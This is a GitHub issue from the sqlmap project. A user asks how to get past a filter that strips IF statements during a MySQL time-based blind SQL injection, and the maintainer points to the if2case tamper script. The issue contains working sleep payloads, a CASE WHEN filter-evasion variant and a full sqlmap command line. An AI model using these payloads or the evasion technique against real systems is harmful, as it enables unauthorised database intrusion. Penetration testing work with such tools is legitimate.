Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Force sqlmap to not use IF statements when verifying false positives #5301

Closed
MineHacks1 opened this issue Jan 28, 2023 · 1 comment
Closed
Assignees
Milestone

Comments

@MineHacks1
Copy link

Hello, I have a problem regarding MySQL >= 5.0.12 time-based blind - Parameter replace (substraction)

sqlmap manages to sleep the database using the payload ((SELECT 9607 FROM (SELECT(SLEEP(10)))nGXq))

the problem is that when sqlmap checks if the injection point is a false positive it uses a payload that looks like this
((SELECT 3545 FROM (SELECT(SLEEP(10-(IF(16=16,0,10)))))EGID))

By doing some manual testing I figured out that the reason the payload containing the IF statement does not work is because IF statements get filtered out. I have manually verified this by using a payload that looks like this
((SELECT (CASE WHEN (1=1) THEN (SELECT SLEEP(5)) ELSE 0 END) FROM (SELECT(0))kJCC))
The payload successfully sleeps the database aswell as checking if 1=1

I've tried to tell sqlmap not to use the IF statement when verifying for false positives but I haven't been able to figure out how. I tried using --tamper but when encoding/obfuscating the payload it simply doesn't work. Is it possible to make a custom payload within the time_blind.xml that works by creating payloads like the one that I created? And if so, how?

Do you have any other recommendations on what I can do to make the sql injection successful?

info:

python sqlmap.py -r C:\Users\xxx\Desktop\sqlmapproject-sqlmap-54e953d\requestx.txt -p order --threads=10 --level=5 --risk=3 -v 3 --random-agent --technique=T --prefix="(" --suffix=")" --dbms=mysql --time-sec=10

@stamparm
Copy link
Member

stamparm commented Feb 1, 2023

Retrieve the latest revision and retry with --tamper=if2case:
image

@stamparm stamparm closed this as completed Feb 1, 2023
@stamparm stamparm self-assigned this Feb 1, 2023
@stamparm stamparm added this to the 1.8 milestone Feb 1, 2023
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Development

No branches or pull requests

2 participants